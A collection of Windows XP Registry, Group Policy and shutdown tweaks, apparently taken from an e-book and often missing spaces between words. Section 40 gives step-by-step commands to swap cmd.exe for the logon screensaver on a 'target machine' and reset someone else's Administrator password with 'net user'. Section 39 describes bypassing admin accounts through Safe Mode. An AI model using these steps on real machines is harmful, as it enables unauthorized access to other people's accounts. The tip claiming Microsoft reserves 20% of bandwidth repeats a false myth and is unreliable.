48. Automatically Turn On Num Lock, Scroll Lock, and Caps Lock

When you start your PC, Num Lock, Scroll Lock, and Caps Lock don't automaticallytoggle on. You can automatically turn each of them on or off whenever your PCstarts, for all accounts on the PC. As a practical matter, most people probably want tohave only Num Lock automatically turned on, but this Registry hack allows you toforce any combination of keys on or off.

Run the Registry Editor [Hack #83] and goto HKEY_USERS\.Default\Control Panel\Keyboard. Find the String valueInitialKeyboardIndicators. By default, it is set to 0, which means that Num Lock,Scroll Lock, and Caps Lock are all turned off. Set it to any of the following values,depending on the combination of keys you want turned on or off:
0-Turns off Num Lock, Caps Lock, and Scroll Lock1-Turns on Caps Lock2-Turns on Num Lock3-Turns on Caps Lock and Num Lock4-Turns on Scroll Lock5-Turns on Caps Lock and Scroll Lock6-Turns on Num Lock and Scroll Lock7-Turns on Caps Lock, Num Lock, and Scroll LockExit the Registry. When you restart, the new setting will take effect.

47. Control User Logins by Hacking the Registry

To control logon options, run the Registry Editor [Hack #83] and go to theHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersionWinlogon subkey, which contains a variety of logon settings (as well as some settingsnot having to do directly with logons).

Following are the most important values youcan edit to customize logons
DontDisplayLastUserName
This setting lets you control how the system logon dialog box is used. If this Stringvalue is present and set to 1, all users will have to enter both their username andpassword to log on.

If the value is 0, the name of the last user to log on will bedisplayed in the system logon dialog box.
DefaultUserNameThis String value contains the name of the last user who logged on. It will bedisplayed only if the DontDisplayLastUserName value is not present or is set to 0.LegalNoticeCaption and LegalNoticeText// Already discussed
PasswordExpiryWarningThis DWORD value lets you display a warning message to users a certain number ofdays before their passwords are set to expire. It lets you determine how many daysahead of time the warning should be issued. To edit the value, click the decimalbutton and enter the number of days.
ShutdownWithoutLogonThis String value enables or disables a button on the XP logon dialog box that lets thesystem shut down. A value of 1 enables the button (so that it is shown); a value of 0disables the button (so that it is not shown).

ShellIt determines the shellthe user interfacethat will be used by XP. The default isExplorer.exe, but it can be another shell as wellfor example, the Program Managerfrom older Windows versions. Type in the name of the program; for example,Progman.exe for the Program Manager, or Taskman.exe for the Task Manager.
AutoRestartShellThis DWORD value doesn't have to do with logons either, but it's another good one toknow. It sets whether to automatically restart the Windows shell if the shell crashes. A value of 1 automatically restarts the shell.

A value of 0 tells XP not to restart the shell,forcing you to log off and then back on again to restart it.

46. Play around registry- More Options

Launch Regedit and go to the following Registry Key: HKEY_CURRENT_USER/Software/Microsoft/CurrentVersion/Policies Under this key, there will definitely be a key named explorer.
Now under this explorer key we can create new DWORD valuesand modify it's value to 1 in order to impose the restriction. If you want to remove the Restriction, then you can simply delete the respective DWORD values or insteadchange their values to 0.
The following is a list of DWORD values that can be createdunder the Explorer Key:
NoDeletePrinter: Disables Deletion of already installed PrintersNoAddPrinter: Disables Addition of new PrintersNoRun : Disables or hides the Run CommandNoSetFolders: Removes Folders from the Settings option on Start Menu (ControlPanel, Printers, Taskbar)NoSetTaskbar: Removes Taskbar system folder from the Settings option on StartMenuNoFind: Removes the Find Tool (Start >Find)NoDrives: Hides and does not display any Drives in My ComputerNoNetHood: Hides or removes the Network Neighborhood icon from the desktopNoDesktop: Hides all items including, file, folders and system folders from theDesktopNoClose: Disables Shutdown and prevents the user from normally shutting downWindows.NoSaveSettings: Means to say, 'Don't save settings on exit'DisableRegistryTools: Disable Registry Editing Tools (If you disable this option, theWindows Registry Editor(regedit.exe) too will not work.)NoRecentDocsHistory: Removes Recent Document system folder from the StartMenu (IE 4 and above)ClearRecentDocsOnExit: Clears the Recent Documents system folder on Exit.Nolnternetlcon: Removes the Internet (system folder) icon from the DesktopNow create a new key and name it System. Under this new key, system we can createthe following new DWORD valuesNODispCPL: Hides Control PanelNoDispBackgroundPage: Hides Background page.NoDispScrsavPage: Hides Screen Saver PageNoDispAppearancePage: Hides Appearance PageNoDispSettingsPage: Hides Settings PageNoSecCPL: Disables Password Control PanelNoPwdPage: Hides Password Change PageNoAdminPaqe: Hides Remote Administration PageNoProfilePage: Hides User Profiles PageNoDevMgrPage: Hides Device Manager PageNoConfigPage: Hides Hardware Profiles PageNoFileSysPage: Hides File System ButtonNoVirtMemPage: Hides Virtual Memory ButtonSimilarly, if we create a new subkey named Network, we can add the followingDWORD values under it:NoNetSetupSecurityPage: Hides Network Security PageNoNelSetup: Hides or disables the Network option in the Control PanelNoNetSetupIDPage: Hides the Identification PageNoNetSetupSecurityPage: Hides the Access Control PageNoFileSharingControl: Disables File Sharing ControlsNoPrintSharing: Disables Print Sharing Controls.

45. Change Internet Explorer's Caption

Open the registry editor and go to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft \Internet Explorer\Main. In the right pane create a new String Value namesWindow Title (Note the space between Window and Title). Right click on this newlycreated String Value and select Modify. Type in the new caption you want to bedisplayed. Restart for the settings to take place.

44. Shutdown and Reboot in Style

Turning off or rebooting XP involves a several-step process: click the Start menu,choose Shut Down, and then select Shut Down or Restart. If you want, however, youcan exit or reboot much more quickly, by creating a shortcut that enables one-clickshutdowns. You can also use the shortcut to customize the shutdown or reboot forexample, by displaying a specific message or automatically shutting down anyprograms that are running.
First, create a shortcut on your desktop by right-clicking the desktop, choosing New,and then choosing Shortcut. The Create Shortcut Wizard appears. In the box askingfor the location of the shortcut, type shutdown. After you create the shortcut, doubleclicking it will shut down your PC.
But you can do much more with a shutdown shortcut than merely shut down your PC.

You can add any combination of several switches to do extra duty, like this:
shutdown -r -t 01 -c "Rebooting your PC"
Double-clicking that shortcut will reboot your PC after a one-second delay anddisplay the message "Rebooting your PC." The shutdown command includes a varietyof switches you can use to customize it.
Switches you can use with shutdown
Switch What it does-s Shuts down the PC.-l Logs off the current user.-t nn Indicates the duration of delay, in seconds, before performing the action.
Switches you can use with shutdownSwitch What it does
-c "messagetext"Displays a message in the System Shutdown window. A maximumof 127 characters can be used. The message must be enclosed inquotation marks.
-f Forces any running applications to shut down.
-r Reboots the PC.
Here are the ones I use for shutdowns and restarts:
Shutdown -s -t 03 -c "See you later!"
shutdown -r -t 03 -c "You can't get rid of me that quickly!"
You always have to turn from the CPU after running this command. (Same with ATand ATX powered machines.) If you want to turn down power of ATX machineautomatically, run the following commnd "c:\windows\system32\tsshutdn.exe 00 /POWERDOWN / DELAY:00" This is used to turn off a server.

Even though youdon't have networked computers attached to your computer, this works.

43. Disabling Drives in My Computer

To disable the display of local or networked drives when you click My Computer goto HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Policies\Explorer Now in the right pane create a new DWORD item and name it NoDrives.
Now modify it's value and set it to 3FFFFFF (Hexadecimal). Now press F5 to refresh.When you click on My Computer, no drives will be shown. To enable display ofdrives in My Computer, simply delete this DWORD item.

42. Increasing Band-Width By 20%

Microsoft reserves 20% of your available bandwidth for their own purposes likeWindows Updates and interrogating your PC etc.
Click Start then Run and type"gpedit.msc" without quotes. This opens the group policy editor. Then go to: LocalComputer Policy  Computer Configuration Administrative Templates NetworkQOS Packet Scheduler and then to LimitReservableBandwidth. Double click onLimit Reservable bandwidth. It will say it is not configured, but the truth is under the'Explain' tab i.e."By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default." So the trick is to ENABLE reservable bandwidth, then set it to ZERO.
This will allow the system to reserve nothing, rather than the default 20%.
It works on Win 2000 as well.

41. Internet Explorer As Fast As FireFox:

Open registry editor by going to Start then Run and entering regedit. Once in registry,navigateto key HKEY_CURRENT_USER\Software\microsoft\Windows\ CurrentVersion \InternetSettings. Right click on the right windows > New > DWORD. TypeMaxConnectionsPerServer > You can set value (the more higher the no, the moregood speed eg:99).

Create another DWORD >type MaxConnectionsPer1_0Server.Then put a high value as mentioned above.

Restart I.E and you are done.

40. Eg2:Hack XP Password

If you log into a limited account on your target machine and open up a dos promptthen enter this set of commands Exactly. Forget about the explanations as it is for thesake of clarity purposeCommand Expalnationcd\ *drops to rootcd\windows\system32 *directs to the system32 dirmkdir temphack *creates the folder temphackcopy logon.scr temphack\logon.scr *backsup logon.scrcopy cmd.exe temphack\cmd.exe *backsup cmd.exedel logon.scr *deletes original logon.scrrename cmd.exe logon.scr *renames cmd.exe to logon.screxit *quits dos
Now what you have just done is told the computer to backup the command programand the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes "net user here> password"
If the Administrator Account is called Frank and you want the password blah enterthis "net user Frank blah" and this changes the password on franks machine to blahand you should be in.

39. Eg1: Hack the XP Admin Passwords

When you or anyone installs Windows XP for the first time your asked to put in yourusername and up to five others. Now, unknownst to a lot of other people this is theonly place in Windows XP that you can password the default AdministratorDiagnostic Account. This means that to by pass most administrators accounts onWindows XP all you have to do is boot to safe mode by pressing F8 during boot upand choosing it. Log into the Administrator Account and create your own or changethe password on the current Account. This only works if the user on setup specified apassword for the Administrator Account.

38. What the heck is a hack then..?

Hacking is done to expose a security hole in a system. Hacking is done to expose the
holes in the armor so that system designers can patch it in their next release.

Hacking if done with a malicious mind, then its cracking! Crackers are basically hackers with a malicious mind. They exploit the security holes to gain unauthorized access to a system. They often steal data like the credit card information from the victim’s computer and read their mails. Some crackers go beyond and often engage in
destructive actions like creating viruses and worms. So the next time when you say
hacker/cracker, understand what they are. Hackers don’t like being greeted as
crackers for the same reason that hackers are friendly and nice people.

I’m giving you two examples below to understand how hacking differs from
tweaking:

37. Is it a hack by any means…??

Defenitely Not!
What we have discussed so far are not hacks by any means.
They are just ‘tweaks’. Tweaking is done to customize the system according to user
preferences by over riding the default settings. Tweaking will improve the system
performance by many folds, provided that it is done in the right way. Most of the
tweaks and tricks are performed in the following 3 areas.

1. Start> Run > Regedit
2. Start > Run> Msconfig
3. Start > Run> gpedit.msc

It is difficult for a newbie to understand the various keys and sub-keys in the registry and a wrong move can have catastrophic effects. The second one is way too simple and the options are limited. So I recommend the third area ☺. Group Policy Editor or gpedit.msc is a nice place for the newbies to learn and try their own tricks. The main advantage is its simplicity. Just click on the + signs to dive deep into it. Explanations are given along with each entry. Read the explanation and decide on the settings that needs to be set.
Nothing much, you just need to enable or disable a setting. Isn’t it a simple thing to do?? And trust me, it can even create wonders!! So go ahead and try it now itself. Good luck.

36.Banning Programs from “Most Frequently Used” list

Take a look at this for it is very interesting. If any of the following words or phrases is included in the program's shortcut name, the program will be excluded from the list: Documentation, Help, Install, More Info, Readme, Read me, Read First, Setup, Support, and What's New. Additionally, the following executables are excluded from the list: Setup.exe,Install.exe, Isuninst.exe, Unwise.exe, Unwise32.exe, St5unst.exe, Rundll32.exe,Explorer.exe, Icwconn1.exe, Inoculan.exe, Mobsync.exe, Navwnt.exe, Realmon.exe, and Sndvol32.exe.

Run the Registry Editor and go to HKEY_CLASSES_ROOT\Applications. Underneath this
key, you'll find a series of subkeys, each representing an application. The primary purpose of these su-keys is to determine whether the program appears on the Open With dialog box that appears whenever you try to open an unknown file type. But you can also add a value to any of the subkeys which will ban programs from appearing on the Most Frequently Used Programs List.

Look for a subkey that is the executable name of the application you want to ban from the list; for example, visio.exe for the Visio business illustration program. Once you find the application's subkey, create a new String value for that subkey, named NoStartPage. Leave the value blank. Exit the Registry. You might have to reboot for the setting to take effect and the program to be banned from the list.